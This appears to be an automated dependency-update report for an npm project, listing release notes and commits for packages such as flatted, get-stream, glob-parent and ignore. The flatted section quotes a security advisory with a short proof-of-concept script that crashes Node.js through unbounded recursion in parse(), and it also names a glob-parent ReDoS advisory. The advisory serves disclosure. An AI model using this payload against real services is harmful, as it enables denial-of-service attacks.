- feat: run to completion by @gillesdemey in #57
New Contributors
- @gillesdemey made their first contribution in #57
Full Changelog: v1.12.0...v1.13.0
1.12.0
What's Changed
Full Changelog: v1.11.1...v1.12.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 37 commits:
Bumped v1.20.1Merge branch 'master' of github.com:mcollina/fastqfix release notesBumped v1.20.0fixupAdded release scriptfeat: add abort() method to settle pending tasks (#101)feat: migrate from StandardJS to ESLint with neostandard (#98)chore(package): explicitly declare js module type (#95)Bumped v1.19.1Do not run coverage on older nodes (#93)add comments to type declarations (#92)Bump nyc from 15.1.0 to 17.0.0 (#84)Bumped v1.19.0Expose paused status flag (#91)Bumped v1.18.0fix: ensure drained() resolves after async tasks complete (#89)Create SECURITY.mdBumped v1.17.1Emit drain event after pause/resume combo (#82)Bumped v1.17.0Consistently respect the configured concurrency (#81)Bumped v1.16.0fix: unshift with worker throwing error (#77) (#78)add running to typescript definition (#71)fix ci (#72)Bump typescript from 4.9.5 to 5.0.4 (#68)Bumped v1.15.0fix: queueAsPromised.drained() resolves while queue is idle (#64)Bumped v1.14.0fix(typings): pass generic type to error handler (#62)Update README.md (#59)Bumped v1.13.0feat: run to completion (#57)Bumped v1.12.0Fire and forget promises (#54)Added node v16 to CI (#55)
โ๏ธ file-entry-cache (indirect, 6.0.1 โ 8.0.0) ยท Repo ยท Changelog
Release Notes
8.0.0
Removing support for Nodejs 10, 12, and 14
This is updating modules to the latest versions and supporting Nodejs
>=16moving forward with v8.0.0What's Changed
- removing support for nodejs 12 and 14 by @jaredwray in #43
Full Changelog: v7.0.2...v8.0.0
7.0.2
What's Changed
- removing del module as no longer needed by @jaredwray in #40
- upgrading flat-cache to 3.2.0 by @jaredwray in #41
Full Changelog: v7.0.1...v7.0.2
7.0.1
What's Changed
- upgrading flat-cache to 3.1.1 by @jaredwray in #37
- upgrading chai to 4.3.10 by @jaredwray in #38
- upgrading eslint to 8.50.0 and mocha plugin by @jaredwray in #39
Full Changelog: v7.0.0...v7.0.1
7.0.0
What's Changed
- upgrading chai and mocha to latest by @jaredwray in #32
- removing package-lock and setting tests to nodejs versions by @jaredwray in #33
- adding code coverage reporting via codecov by @jaredwray in #34
- updating tests for master by @jaredwray in #35
- removing support for Nodejs version 10 by @jaredwray in #36
Full Changelog: v6.0.1...v7.0.0
Does any of this look wrong? Please let us know.
โ๏ธ fill-range (indirect, 7.0.1 โ 7.1.1) ยท Repo
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ flat-cache (indirect, 3.0.4 โ 4.0.1) ยท Repo ยท Changelog
Release Notes
4.0.1
What's Changed
- removing rimraf as core dependency by @jaredwray in #87
- chore: run prettier separately from eslint by @uncenter in #88
- refactor: prefer let/const over var by @uncenter in #89
- upgrading c8 to 9.1.0 by @jaredwray in #92
- upgrading prettier to 3.2.4 by @jaredwray in #93
- upgrading moch to 10.3.0 by @jaredwray in #95
- removing parts of keyv as a dependency by @jaredwray in #97
New Contributors
Full Changelog: v4.0.0...v4.0.1
4.0.0
Major version release
To stay up to date with latest module dependencies we moved to supporting nodejs
>=16with this release. All other functionality stayed the same.What's Changed
- removing the testing on 21 by @jaredwray in #85
- removing support for node 10, 12, and 14 by @jaredwray in #86
Full Changelog: v3.2.0...v4.0.0
3.2.0
What's Changed
New Contributors
Full Changelog: v3.1.1...v3.2.0
3.1.1
What's Changed
- updating repo to use github actions and codecov by @jaredwray in #64
- updating mocha and chai by @jaredwray in #65
- adding in codecov badge by @jaredwray in #66
- upgrading flatted to 3.2.7 by @jaredwray in #67
- updating workflows with prs by @jaredwray in #71
- updating coverage reporting to work with codecov by @jaredwray in #72
- updating to show correct branch by @jaredwray in #73
- intoducing keyv to flat-cache - non invasive by @jaredwray in #74
- clean up of package.json by @jaredwray in #75
- upgrading chai to 4.3.10 by @jaredwray in #77
- upgrading flatted to 3.2.9 by @jaredwray in #78
New Contributors
- @jaredwray made their first contribution in #64
Full Changelog: v3.0.4...v3.1.1
Does any of this look wrong? Please let us know.
โ๏ธ flatted (indirect, 3.2.2 โ 3.4.1) ยท Repo
Security Advisories ๐จ
๐จ flatted vulnerable to unbounded recursion DoS in parse() revive phase
Summary
flatted's
parse()function uses a recursiverevive()phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential$indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.Impact
Denial of Service (DoS). Any application that passes untrusted input to
flatted.parse()can be crashed by an unauthenticated attacker with a single request.flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
Proof of Concept
const flatted = require('flatted'); // Build deeply nested circular reference chain const depth = 20000; const arr = new Array(depth + 1); arr[0] = '{"a":"1"}'; for (let i = 1; i <= depth; i++) { arr[i] = `{"a":"${i + 1}"}`; } arr[depth] = '{"a":"leaf"}'; const payload = JSON.stringify(arr); flatted.parse(payload); // RangeError: Maximum call stack size exceededFix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive
revive()to a stack-based loop.Affected Versions
All versions prior to the PR #88 fix.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ function-bind (indirect, 1.1.1 โ 1.1.2) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by 26 commits:
v1.1.2[meta] add `auto-changelog`[Robustness] remove runtime dependency on all builtins except `.apply`[Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape`[meta] add `funding` field; create FUNDING.yml[Tests] use `aud` instead of `npm audit`[meta] update `.gitignore`[Tests] switch to nyc for coverage[meta] add `safe-publish-latest`[Dev Deps] update `@ljharb/eslint-config`, `tape`[actions] fix permissionsRevert "Point to the correct file"Merge pull request #16 from svedova/patch-1Point to the correct file[readme] update badges[meta] use `npmignore` to autogenerate an npmignore file[Tests] migrate tests to Github Actions[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `tape`[meta] create SECURITY.md[Tests] fix eslint errors from #15[Devย Deps] updateย `@ljharb/eslintโconfig`, `eslint`,ย `tape`[Tests] up to `node` `v11.10`, `v10.15`, `v9.11`, `v8.15`, `v6.16`, `v4.9`; use `nvm install-latest-npm`; run audit script in tests[Tests] add `npm run audit`[Tests] remove `jscs`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `covert`, `tape`Docs: enable badges; update wording
โ๏ธ get-intrinsic (indirect, 1.1.1 โ 1.3.0) ยท Repo ยท Changelog
Release Notes
1.3.0 (from changelog)
Commits
1.2.7 (from changelog)
Commits
1.2.6 (from changelog)
Commits
1.2.5 (from changelog)
Commits
- [actions] split out node 10-20, and 20+
6e2b9dd- [Refactor] use
dunder-protoandcall-bind-apply-helpersinstead ofhas-protoc095d17- [Refactor] use
gopd9841d5b- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,es-abstract,es-value-fixtures,gopd,mock-property,object-inspect,tape2d07e01- [Deps] update
gopd,has-proto,has-symbols,hasown974d8bf- [Dev Deps] update
call-bind,es-abstract,tapedf9dde1- [Refactor] cache
es-define-propertyas well43ef543- [Deps] update
has-proto,has-symbols,hasownad4949d- [Tests] use
call-bounddirectlyad5c406- [Deps] update
has-proto,hasown45414ca- [Tests] replace
audwithnpm audit18d3509- [Deps] update
es-define-propertyaadaa3b- [Dev Deps] add missing peer dep
c296a16
1.2.4 (from changelog)
Commits
- [Refactor] use all 7 <+ ES6 Errors from
es-errorsbcac811
1.2.3 (from changelog)
Commits
- [Refactor] use
es-errors, so things that only need those do not needget-intrinsicf11db9c- [Dev Deps] update
aud,es-abstract,mock-property,npmignoreb7ac7d1- [meta] simplify
exportsfaa0cc6- [meta] add missing
engines.node774dd0b- [Dev Deps] update
tape5828e8e- [Robustness] use null objects for lookups
eb9a11f- [meta] add
sideEffectsflag89bcc7a
1.2.2 (from changelog)
Commits
1.2.1 (from changelog)
Commits
1.2.0 (from changelog)
Commits
- [actions] update checkout action
ca6b12f- [Dev Deps] update
@ljharb/eslint-config,es-abstract,object-inspect,tape41a3727- [Fix] ensure
Error.prototypeis undeniablec511e97- [Dev Deps] update
aud,es-abstract,tape1bef8a8- [Dev Deps] update
aud,es-abstract0d41f16- [New] add
BigInt64ArrayandBigUint64Arraya6cca25- [Tests] use
gopdecf7722
1.1.3 (from changelog)
Commits
1.1.2 (from changelog)
Fixed
- [Fix] properly validate against extra % signs
#16Commits
- [actions] reuse common workflows
0972547- [meta] use
npmignoreto autogenerate an npmignore file5ba0b51- [actions] use
node/installinstead ofnode/run; usecodecovactionc364492- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,es-abstract,object-inspect,tapedc04dad- [Dev Deps] update
eslint,@ljharb/eslint-config,es-abstract,object-inspect,safe-publish-latest,tape1c14059- [Tests] use
mock-propertyb396ef0- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,object-inspect,tapec2c758d- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,es-abstract,es-value-fixtures,object-inspect,tape29e3c09- [actions] update codecov uploader
8cbc141- [Dev Deps] update
@ljharb/eslint-config,es-abstract,es-value-fixtures,object-inspect,tape10b6f5c- [readme] add github actions/codecov badges
4e25400- [Tests] use
for-eachinstead offoreachc05b957- [Dev Deps] update
es-abstract29b05ae- [meta] use
prepublishOnlyscript for npm 7+95c285d- [Deps] update
has-symbols593cb4f- [readme] fix repo URLs
1c8305b- [Deps] update
has-symbolsc7138b6- [Dev Deps] remove unused
has-bigintsbd63aff
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 75 commits:
v1.3.0[New] add `Float16Array`[Deps] update `call-bind-apply-helpers`, `es-object-atoms`, `get-proto`[Dev Deps] update `es-abstract`, `es-value-fixtures`, `for-each`, `object-inspect`v1.2.7[Deps] update `math-intrinsics`[Dev Deps] update `call-bound`, `es-abstract`[Refactor] use `get-proto` directlyv1.2.6[Refactor] use `math-intrinsics`[Deps] update `call-bind-apply-helpers`[Dev Deps] update `call-bound`[Refactor] use `es-object-atoms`v1.2.5[Deps] update `es-define-property`[actions] split out node 10-20, and 20+[Refactor] use `dunder-proto` and `call-bind-apply-helpers` instead of `has-proto`[Refactor] cache `es-define-property` as well[Tests] use `call-bound` directly[Deps] update `gopd`, `has-proto`, `has-symbols`, `hasown`[Refactor] use `gopd`[Deps] update `has-proto`, `has-symbols`, `hasown`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `es-abstract`, `es-value-fixtures`, `gopd`, `mock-property`, `object-inspect`, `tape`[Tests] replace `aud` with `npm audit`[Deps] update `has-proto`, `hasown`[Dev Deps] update `call-bind`, `es-abstract`, `tape`v1.2.4[Refactor] use all 7 <+ ES6 Errors from `es-errors`v1.2.3[Refactor] use `es-errors`, so things that only need those do not need `get-intrinsic`[Dev Deps] update `tape`[meta] add missing `engines.node`[Robustness] use null objects for lookups[Dev Deps] update `aud`, `es-abstract`, `mock-property`, `npmignore`[meta] simplify `exports`[meta] add `sideEffects` flagv1.2.2[Refactor] use `hasown` instead of `has`[Deps] update `function-bind`[Dev Deps] update `@ljharb/eslint-config`, `aud`, `call-bind`, `es-abstract`, `mock-property`, `object-inspect`, `tape`v1.2.1[Fix] avoid a crash in envs without `__proto__`[Dev Deps] update `es-abstract`v1.2.0[New] add `BigInt64Array` and `BigUint64Array`[Dev Deps] update `@ljharb/eslint-config`, `es-abstract`, `object-inspect`, `tape`[Fix] ensure `Error.prototype` is undeniable[Dev Deps] update `aud`, `es-abstract`[Tests] use `gopd`[Dev Deps] update `aud`, `es-abstract`, `tape`[actions] update checkout actionv1.1.3[Fix] properly check for % signs[Dev Deps] update `es-abstract`, `es-value-fixtures`, `tape`v1.1.2[Fix] properly validate against extra % signs[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `@ljharb/eslint-config`, `es-abstract`, `es-value-fixtures`, `object-inspect`, `tape`[Tests] use `for-each` instead of `foreach`[Tests] use `mock-property`[Dev Deps] remove unused `has-bigints`[Deps] update `has-symbols`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `object-inspect`, `tape`[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `es-abstract`, `object-inspect`, `safe-publish-latest`, `tape`[actions] update codecov uploader[readme] add github actions/codecov badges[Dev Deps] update `es-abstract`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `es-abstract`, `object-inspect`, `tape`[readme] fix repo URLs[Deps] update `has-symbols`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `es-abstract`, `es-value-fixtures`, `object-inspect`, `tape`[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly` script for npm 7+
โ๏ธ get-stream (indirect, 6.0.1 โ 9.0.1) ยท Repo
Release Notes
9.0.1
9.0.0
Breaking
Improvements
8.0.1
Fixes
- Ensure
error.bufferedDatais as full as possible. (#106)- Fix the
maxBufferoption being one byte off in some edge case. (#105)
8.0.0
Huge thanks to @ehmicky for doing all the work for this release ๐
Breaking
- Remove the
encodingoption. (#69, #67)
- This package handles binary, UTF-8 and object streams.
- For other encodings like UTF-16, hexacimal and base64, please see the following tip. (#84)
- Methods like
buffer.toString('hex')orbuffer.toString('base64')can also be used.Improvements
- Support any JavaScript environment, including browsers. (#85)
- Support web streams (
ReadableStream). (#82, #78, #79, #80)- Support async iterables. (#69, #93)
- Add
getStreamAsArray()method to pass streams in object mode. (#86)- Add
getStreamAsArrayBuffer()method to return the stream as anArrayBuffer. (#81)- When the stream is larger than the maximum size for a string, buffer or
ArrayBuffer, seterror.bufferedDatawith the partially read data instead of leaving it empty. (#68, #48)Fixes
- Do not crash on big streams (with one/many GBs). (#66)
- Ensure
maxBufferstops infinite streams. (#62)- Stop consuming the streaming when hitting
maxBuffer. (#42, #69).- Set
error.bufferedDatawhen the stream errors for other reasons thanmaxBuffer. (#56, #63)- Ensure
error.bufferedDatais smaller thanmaxBuffer. (#89)TypeScript types
- The
streamargument must be aReadable,ReadableStreamorAsyncIterable. (#71)Documentation
- Add tips on alternatives,
Bloband JSON streaming. (#58, #95, #96, #97)Performance
- Do not block the event loop when the stream ends. (#92)
7.0.1
- Work around issue with handling large sizes e58d141
7.0.0
Breaking
- Require Node.js 16 70571f8
- This package is now pure ESM. Please read this.
- Removed
getStream.array()
- It complicated the codebase considerably and I personally never used it.
- You can use
readableStream.toArray()instead. Exampleconst getStream = require('get-stream'); getStream.buffer(โฆ);โimport {getStreamAsBuffer} from 'get-stream'; getStreamAsBuffer(โฆ);const getStream = require('get-stream'); getStream.MaxBufferError;โimport {MaxBufferError} from 'get-stream'; MaxBufferError;Tip
You may not need this package anymore.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 68 commits:
9.0.1Upgrade `ReadableStream[Symbol.asyncIterator]` ponyfill (#128)Upgrade ava (#127)Upgrade xo (#126)9.0.0Meta tweaksAdd browser entrypoint (#124)Remove use of `highWatermark` option (#125)Fix browser support (#122)Allow multiple readers at once (#121)Speed up test (#120)Add a test for async iterables (#118)Improve test utility (#117)Handle unusual error types (#115)Drop support for Node 16 (#111)8.0.1Ensure `error.bufferedData` is as full as possible (#106)Fix `maxBuffer` bug with `TextDecoder()` (#105)Refactor `getStreamAsArrayBuffer()` (#104)8.0.0Meta tweaksAdd test for `getStreamAsBuffer()` when `Buffer` is not available (#101)Fix `package.json` description (#99)Split into multiple files (#98)Document how to stream JSON arrays (#96)Add benchmarks (#94)Improve `Alternatives` documentation (#97)Document how to create `Blob`s (#95)Document support for async iterables (#93)Remove end-of-stream blocking (#92)Add more high-level tests (#91)Add tests for streams with several chunks (#90)Fix `bufferedData` being larger than `maxBuffer` (#89)Simplify `getStreamAsBuffer()` implementation (#88)Add support for streams in object mode (#86)Fix `error.bufferedData` with `getStreamAsArrayBuffer()` (#87)Support any JavaScript environment (#85)Document `TextDecoderStream` usage (#84)Small performance improvement (#83)Add support for `ReadableStream` (#82)Add `getStreamAsArrayBuffer()` method (#81)Add support for `ArrayBuffer` stream chunks (#80)Add support for `DataView` stream chunks (#79)Add support for `TypedArray` stream chunks (#78)Improve tests (#77)Add high-level tests (#76)Validate streams in object mode (#75)Fix UTF-8 sequences being split (#74)Improve first argument's validation (#73)Improve `readme.md` (#72)Improve TypeScript types (#71)Add a test for big chunks (#70)Truncate `error.bufferedData` if too large (#68)Remove `encoding` option (#69)Do not crash on big streams (#66)Add more tests related to the `encoding` option (#65)Remove `devDependency` (#64)Set `error.bufferedData` when stream errors (#63)Handle infinite streams (#62)Test `encoding` option (#59)Simplify `encoding` option (#60)Document `node:stream/consumers` (#58)Refactoring simplifying code (#57)7.0.1Work around issue with handling large sizes7.0.0Require Node.js 16 and move to ESMAdd reference to into-stream (#49)
โ๏ธ glob-parent (indirect, 5.1.2 โ 6.0.2) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ glob-parent 6.0.0 vulnerable to Regular Expression Denial of Service
glob-parent 6.0.0 is vulnerable to Regular Expression Denial of Service (ReDoS). This issue is fixed in version 6.0.1.
This vulnerability is separate from GHSA-ww39-953v-wcq6.
Release Notes
6.0.2
Bug Fixes
6.0.1
Bug Fixes
6.0.0
โ BREAKING CHANGES
- Correct mishandled escaped path separators (#34)
- upgrade scaffold, dropping node <10 support
Bug Fixes
Miscellaneous Chores
- upgrade scaffold, dropping node <10 support (e83d0c5)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
chore: release 6.0.2 (#54)chore: Run prettierfix: Improve performance (#53)chore: Run prettierchore: release 6.0.1 (#52)chore: Run prettierfix: Resolve ReDoS vulnerability from CVE-2021-35065 (#49)chore: Run prettierchore: release 6.0.0 (#41)fix!: Correct mishandled escaped path separators (#34)chore(ci): Upgrade coveralls action to 1.1.2chore(ci): Update workflowchore: fix typo in badgesBuild: Run prettierci: add release-please & cleanup actionschore!: upgrade scaffold, dropping node <10 support
โ๏ธ globals (indirect, 13.10.0 โ 17.4.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ globby (indirect, 12.0.0 โ 16.1.1) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ graceful-fs (indirect, 4.2.8 โ 4.2.11) ยท Repo
Commits
See the full diff on Github. The new version differs by 17 commits:
4.2.11Add EBUSY to handled error codes for windows directory renameupdate and improve tests somewhat4.2.10fix spurious ENOTEMPTY in test on windows ciavoid spurious EBUSY in windows CI testsci: output raw tap from testactually fix memory leak test failing spuriouslyfix memory leak test failing spuriouslydo not try to patch missing fs functionsAvoid setPrototypeOf if prototype is undefinedinstall with npm 8fix: fs.readdir() on ancient nodes that don't know about optionschore: add copyright year to licenseci: makework4.2.9fix(stat): support throwIfNoEntry for `statSync`
โ๏ธ has-bigints (indirect, 1.0.1 โ 1.1.0) ยท Repo ยท Changelog
Release Notes
1.1.0 (from changelog)
Commits
- [meta] use
npmignoreto autogenerate an npmignore filea411cea- [actions] split out node 10-20, and 20+
4515878- [New] add types
c888241- [actions] update rebase action to use reusable workflow
6f44338- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,npmignore,tapeffa1e4d- [Dev Deps] update
aud,tape0f5d096- [meta] add missing
engines.node3f73c71- [Tests] replace
audwithnpm auditb007efd- [Dev Deps] add missing peer dep
459c612
1.0.2 (from changelog)
Commits
- [actions] reuse common workflows
a655b7f- [actions] use
node/installinstead ofnode/run; usecodecovaction730a2e5- [readme] add github actions/codecov badges; update URLs
9a83788- [Dev Deps] update
eslint,@ljharb/eslint-config,safe-publish-latest,tapeb1edc52- [actions] update codecov uploader
cbb1bd0- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,tape8717e6d- [Dev Deps] update
eslint,@ljharb/eslint-config,auto-changelog,safe-publish-latest,tape5f70eab- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,tapea1446bc- [meta] use
prepublishOnlyscript for npm 7+f2dd197- [actions] use checkout v3
1ba72f1- [Refactor] use a global variable to get the original BigInt instead of a global property
a7ccfac- [actions] skip
npm lson older nodes62d31e7
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 23 commits:
v1.1.0[meta] add missing `engines.node`[New] add types[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `npmignore`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `aud`, `tape`[actions] update rebase action to use reusable workflowv1.0.2[actions] use checkout v3[Refactor] use a global variable to get the original BigInt instead of a global property[actions] skip `npm ls` on older nodes[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `tape`[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `safe-publish-latest`, `tape`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `auto-changelog`, `safe-publish-latest`, `tape`[readme] add github actions/codecov badges; update URLs[actions] update codecov uploader[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `tape`[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly` script for npm 7+
โ๏ธ has-symbols (indirect, 1.0.2 โ 1.1.0) ยท Repo ยท Changelog
Release Notes
1.1.0 (from changelog)
Commits
- [actions] update workflows
548c0bf- [actions] further shard; update action deps
bec56bb- [meta] use
npmignoreto autogenerate an npmignore fileac81032- [New] add types
6469cbf- [actions] update rebase action to use reusable workflow
9c9d4d0- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,tapeadb5887- [Dev Deps] update
@ljharb/eslint-config,aud,tape13ec198- [Dev Deps] update
auto-changelog,core-js,tape941be52- [Tests] replace
audwithnpm audit74f49e9- [Dev Deps] update
npmignore9c0ac04- [Dev Deps] add missing peer dep
52337a5
1.0.3 (from changelog)
Commits
- [actions] use
node/installinstead ofnode/run; usecodecovaction518b28f- [meta] add
bugsandhomepagefields; reorder package.jsonc480b13- [actions] reuse common workflows
01d0ee0- [actions] update codecov uploader
6424ebe- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,tapedfa7e7f- [Dev Deps] update
eslint,@ljharb/eslint-config,safe-publish-latest,tape0c8d436- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,tape9026554- [readme] add actions and codecov badges
eaa9682- [Dev Deps] update
eslint,tapebc7a3ba- [Dev Deps] update
eslint,auto-changelog0ace00a- [meta] use
prepublishOnlyscript for npm 7+093f72b- [Tests] test on all 16 minors
9b80d3d
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 25 commits:
v1.1.0[New] add types[Dev Deps] add missing peer dep[Dev Deps] update `auto-changelog`, `core-js`, `tape`[actions] update workflows[Tests] replace `aud` with `npm audit`[actions] further shard; update action deps[Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape`[Dev Deps] update `npmignore`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `tape`[actions] update rebase action to use reusable workflowv1.0.3[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `tape`[meta] add `bugs` and `homepage` fields; reorder package.json[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `safe-publish-latest`, `tape`[actions] update codecov uploader[Dev Deps] update `eslint`, `tape`[Tests] test on all 16 minors[readme] add actions and codecov badges[Dev Deps] update `eslint`, `auto-changelog`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `tape`[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly` script for npm 7+
โ๏ธ has-tostringtag (indirect, 1.0.0 โ 1.0.2) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by 14 commits:
v1.0.2[Fix] move `has-symbols` back to prod depsv1.0.1[Tests] remove staging tests since they fail on modern node[patch] add types[Dev Deps] update `@ljharb/eslint-config`, `aud`, `npmignore`, `tape`[Deps] update `has-symbols`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `tape`[actions] update rebase action to use reusable workflow[Tests] generate coverage[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `safe-publish-latest`, `tape`[actions] update codecov uploader
โ๏ธ human-signals (indirect, 2.1.0 โ 8.0.1) ยท Repo ยท Changelog
Release Notes
8.0.1
Documentation
- Improve documentation in
README.md
8.0.0
Breaking changes (types)
- The
SignalNumberandSignal['number']types in TypeScript are now stricter. They only allow valid signal numbers like 1 or 9. They do not allow invalid signal numbers like -1, 1.5 or 999. Please note that 0 is not considered a valid signal number, although it can be passed toprocess.kill().Types
- The
signalsByName[signalName]andsignalsByNumber[signalNumber]types in TypeScript are nowSignalinstead ofSignal | undefined. This means you can now dosignalsByName[signalName].descriptioninstead ofsignalsByName[signalName]!.description.
7.0.0
Breaking changes (types)
- The
SignalNameandSignal['name']types in TypeScript are now stricter. They only allow valid signal names like'SIGINT'. They do not allow lowercase signals like'sigint'nor unknown signals like'SIGOTHER'.
6.0.0
Breaking changes
- Minimal supported Node.js version is now
18.18.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ ignore (indirect, 4.0.6 โ 7.0.5) ยท Repo ยท Changelog
Release Notes
7.0.4
- PATCH Allows files named
.{3,}, such as...for Linux / macOS (#68)ig.ignores('...') ig.ignores('....') // It will throw a RangeError in versions prior to 7.0.4, but it is ok if >= 7.0.4An upgrade is recommended for all dependents
7.0.0
Minor feature
The primary feature introduced by
7.0.0is the.checkIgnore()method, which is most equivalent togit check-ignore -v. And also it allows to pass{pattern, mark?}as the parameter of.add()so that we could imitate the mechanism ofgit check-ignoreas:ig.add({ pattern: 'foo/*', mark: '60' }) const { ignored, rule } = checkIgnore('foo/') if (ignored) { console.log(`.gitignore:${result}:${rule.mark}:${rule.pattern} foo/`) } // .gitignore:60:foo/* foo/Potential Incompatibilities
The only situation that
7.0.0might bring incompatibility is to.add()a< 7.0.0instance into a>= 7.0.0instance, which might occur when the current workspace has multiplenode-ignoreversions installed, please be careful.const {anotherIgnoreInstance} = require('./ignore-6.0-instance') // A 7.0.0 instance ignore().add(anotherIgnoreInstance) // It will break your codeOtherwise, in most cases, if you never do something above or there is only one version of
node-ignoreinstalled in the current workspace, it is quite safe to upgrade to7.0.0.
5.3.0
5.3.0
- MINOR export
Optionsinterface (#105)An upgrade is safe for all dependents
It allows typing external methods which expect
Optionsas a param, by importing theOptionsinterface.import {Options} from 'ignore'
5.2.4
- PATCH fixes normal single asterisk and normal consecutive asterisks defined in gitignore spec (#57)
- PATCH invalid trailing backslash will not throw unexpectedly
An upgrade is recommended for all dependents
The following rules could be not properly parsed with previous
ignoreversions**foo *bar qu*ux abc\ # `ignore` would throw if no whitespace after `\`
5.2.0
- PATCH support readonly arrays of typescript. (#70)
- MINOR bring backward compatibility with relative paths. (#75)
An upgrade is recommended for all dependents.
ignore().ignores('../foo/bar.js') // will throwAnd the code below will not throw, however it is not recommended
ignore({ allowRelativePaths: true }).ignores('../foo/bar.js')Recommend:
ignore().ignores('foo/bar.js')
5.1.9
- PATCH fixes
ignorecasewhen internal cache is hit. (#74)An upgrade is recommended for all dependents.
5.1.5
- PATCH fixes escaping for square brackets (#59)
An upgrade is recommended for all dependents.
5.1.1
- PATCH fixes
isPathValidon Windows (#54)On Windows, if
pathis an absolute path,ig.ignores(path),ig.test(path)and related methods will now throw an error as expected.
5.1.0
- FEATURE: Typescript: export interface Ignore (#53)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ import-fresh (indirect, 3.3.0 โ 3.3.1) ยท Repo
Commits
See the full diff on Github. The new version differs by 4 commits:
โ๏ธ irregular-plurals (indirect, 3.3.0 โ 3.5.0) ยท Repo
Release Notes
3.5.0
3.4.1
- Fix compatibility with bundlers fe4ec96
3.4.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ is-bigint (indirect, 1.0.3 โ 1.1.0) ยท Repo ยท Changelog
Release Notes
1.1.0 (from changelog)
Commits
- [actions] reuse common workflows
0e63a44- [meta] use
npmignoreto autogenerate an npmignore file47584ee- [Tests] use
for-eachandes-value-fixturesf226864- [New] add types
78e2c47- [actions] split out node 10-20, and 20+
4395a8d- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,has-symbols,object-inspect,tapec188501- [Dev Deps] update
eslint,@ljharb/eslint-config,object-inspect,safe-publish-latest,tape5360d32- [actions] update rebase action to use reusable workflow
d5c1775- [actions] update codecov uploader
c7478c7- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,npmignore,object-inspect,tape6fbce66- [meta] add missing
engines.node6f9ed42- [Tests] replace
audwithnpm audit21846c3- [Dev Deps] remove unused
has-symbols, add missinghas-tostringtagb378d94- [Deps] update
has-bigintsf46c35b- [Dev Deps] add missing peer dep
2b9be16
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 21 commits:
